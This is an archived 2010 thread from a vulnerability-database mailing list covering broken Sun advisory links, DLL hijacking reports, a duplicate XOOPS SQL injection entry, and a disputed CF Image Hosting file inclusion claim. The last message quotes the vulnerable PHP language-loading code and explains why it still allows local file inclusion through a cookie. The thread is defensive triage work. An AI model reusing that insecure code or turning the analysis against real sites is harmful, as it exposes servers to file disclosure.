URLs have been broken in CVE with : little hope of recovery. : : "To find this SunAlert, searching on the keywords or the original title, : for example... will provide the new link." : : ... except CVE made the mistake of referencing bulletin numbers. We did too. The whole point of an advisory ID number is for clear tracking no matter what form the advisory takes or where it is moved to. Expectations that people would reference any of them (at least in bulk) by keywords or title is absurd. From theall at tenable.com Fri Aug 27 13:49:39 2010 From: theall at tenable.com (George A. Theall) Date: Fri, 27 Aug 2010 14:49:39 -0400 Subject: [VIM] Sun site - 404 Content not found errors In-Reply-To: References: Message-ID: <1C8FC652-66F6-4E31-BD55-0018FFC972D9@tenable.com> On Aug 27, 2010, at 2:43 PM, Steven M. Christey wrote: > > Some Friday reading for you. > > http://wikis.sun.com/display/SunSolve/404+Content+not+found+errors > > I hesitate to guess how many hundreds of URLs have been broken in > CVE with little hope of recovery. So I guess you have had no (positive) response from Oracle when you reported the breaks to them last month (http://www.attrition.org/pipermail/vim/2010-July/002365.html ), right? > ... except CVE made the mistake of referencing bulletin numbers. CVE and plenty of others as well. :-( George -- theall at tenablesecurity.com From jericho at attrition.org Fri Aug 27 13:55:33 2010 From: jericho at attrition.org (security curmudgeon) Date: Fri, 27 Aug 2010 13:55:33 -0500 (CDT) Subject: [VIM] Sun site - 404 Content not found errors In-Reply-To: References: Message-ID: Follow-up: : http://wikis.sun.com/display/SunSolve/404+Content+not+found+errors : : I hesitate to guess how many hundreds of URLs have been broken in CVE with : little hope of recovery. : : "To find this SunAlert, searching on the keywords or the original title, : for example... will provide the new link." : : ... except CVE made the mistake of referencing bulletin numbers. If you have bookmarks which have the sequence /document.do?assetkey=1-2X-XXXXXX in the format, then you will see a 404 Error when using your bookmarks. All collections starting with the 2X- series have been migrated through 2 knowledge tools and no longer have the information needed to perform a double redirection. An example: Book marks to the legacy Sun Alert: : http://sunsolve.sun.com/search/document.do?assetkey=1-26-102854-1 are no longer available and SunSolve will report the document is not found. As the mapping to the new system does not exist. -- OSVDB has 773 entries with asssetkey=1-26 references. From jericho at attrition.org Fri Aug 27 13:57:13 2010 From: jericho at attrition.org (security curmudgeon) Date: Fri, 27 Aug 2010 13:57:13 -0500 (CDT) Subject: [VIM] DLL hell: 2010 In-Reply-To: References: Message-ID: : > I was telling Carsten last night that I expect a big wave of them, that : > we had only seen the tip of the iceberg. However, I am really surprised : > that F-D hasn't been flooded with them yet and suggests that maybe it : > won't be as big as we realize. Perhaps even those who favor low hanging : > fruit think it is too low? : : That hasn't stopped XSS finders in the past, or the RFI grep-and-gripers. No, but that turned into a steady volume that VDBs came to handle. : > Also ran into another where the vendor was told "your product is vulnerable : > to this". The vendor realized that an older version of the product was : > (technically), the current product was not, and that the old version was : > only vulnerable because it used QT which is vulnerable. : : This is the one that will be the most problematic from a CVE standpoint: : ideally, we would only assign one CVE for QT, but many researchers are : unlikely to do that kind of diagnosis. Like the researchers who : reported XSS in error messages that gave clear evidence of RFI/LFI. That is the fallout I am looking forward to. We've seen dozens of reports, but only a couple vendor responses. How many turn out to be more complicated.. From coley at linus.mitre.org Fri Aug 27 13:59:22 2010 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 27 Aug 2010 14:59:22 -0400 (EDT) Subject: [VIM] Sun site - 404 Content not found errors In-Reply-To: References: Message-ID: On Fri, 27 Aug 2010, security curmudgeon wrote: > OSVDB has 773 entries with asssetkey=1-26 references. CVE has 1085. - Steve From theall at tenable.com Mon Aug 30 11:44:25 2010 From: theall at tenable.com (George A. Theall) Date: Mon, 30 Aug 2010 12:44:25 -0400 Subject: [VIM] XOOPS 2.0.14 (article.php) SQL Injection Vulnerability Message-ID: The SQL injection issue covered by Exploit DB 14828 / Bugtraq 42831 seems to be a dup of the issue reported by Cr at zy_King in 2008 and covered already by CVE-2008-2094 / Bugtraq 28879 / OSVDB 44838. That is, compare the exploits in: http://www.securityfocus.com/archive/1/archive/1/491150/100/0/ threaded http://www.exploit-db.com/exploits/14828/ Rob? George -- theall at tenablesecurity.com From rkeith at securityfocus.com Mon Aug 30 11:58:56 2010 From: rkeith at securityfocus.com (rkeith) Date: Mon, 30 Aug 2010 10:58:56 -0600 Subject: [VIM] XOOPS 2.0.14 (article.php) SQL Injection Vulnerability In-Reply-To: References: Message-ID: <4C7BE350.4040904@securityfocus.com> Quite right George, we will retire 42831 shortly. Thanks, Rob George A. Theall wrote: > The SQL injection issue covered by Exploit DB 14828 / Bugtraq 42831 > seems to be a dup of the issue reported by Cr at zy_King in 2008 and > covered already by CVE-2008-2094 / Bugtraq 28879 / OSVDB 44838. That > is, compare the exploits in: > > http://www.securityfocus.com/archive/1/archive/1/491150/100/0/threaded > http://www.exploit-db.com/exploits/14828/ > > Rob? > > George -- Rob Keith Symantec From theall at tenable.com Mon Aug 30 14:04:15 2010 From: theall at tenable.com (George A. Theall) Date: Mon, 30 Aug 2010 15:04:15 -0400 Subject: [VIM] CF Image Hosting Script v1.3.8 Remote File Inclusion Message-ID: <6ACB1958-982A-48A2-909F-0DA110FEC551@tenable.com> FYI: the issue covered by Exploit DB 14837 / Bugtraq 42845 isn't accurate. Look at this snippet of code from the copy of inc/config.php included in version 1.3.81: ---- snip, snip, snip ---- $settings = $setting_db->fetch_all(); // LANGUAGE PACK if(isset($_GET['lang'])){ setcookie('lang', input($_GET['lang']), null); if (file_exists('languages/'.input($_GET['lang']).'.lang.php')) $settings['SET_LANGUAGE'] = input($_GET['lang']); } if( isset($_COOKIE['lang']) && file_exists('languages/'. $_COOKIE['la ng'].'.lang.php') && !isset($_GET['lang'])) $settings['SET_LANGUAGE'] = $_COOKIE['lang']; if(isset($settings['SET_LANGUAGE']) && file_exists('languages/'.$setting s['SET_LANGUAGE'].'.lang.php')) @require('languages/'. $settings['SET_LANGUAGE'].'.lang.php'); ---- snip, snip, snip ---- The '$settings' array is populated with configuration settings from the database through the 'fetch_all' method in 'lib/ arraydb.class.php', not from parameters that an attacker could control. Still, the code suggests an exploitable local file inclusion vulnerability involving the 'lang' GET parameter / COOKIE value. George -- theall at tenablesecurity.com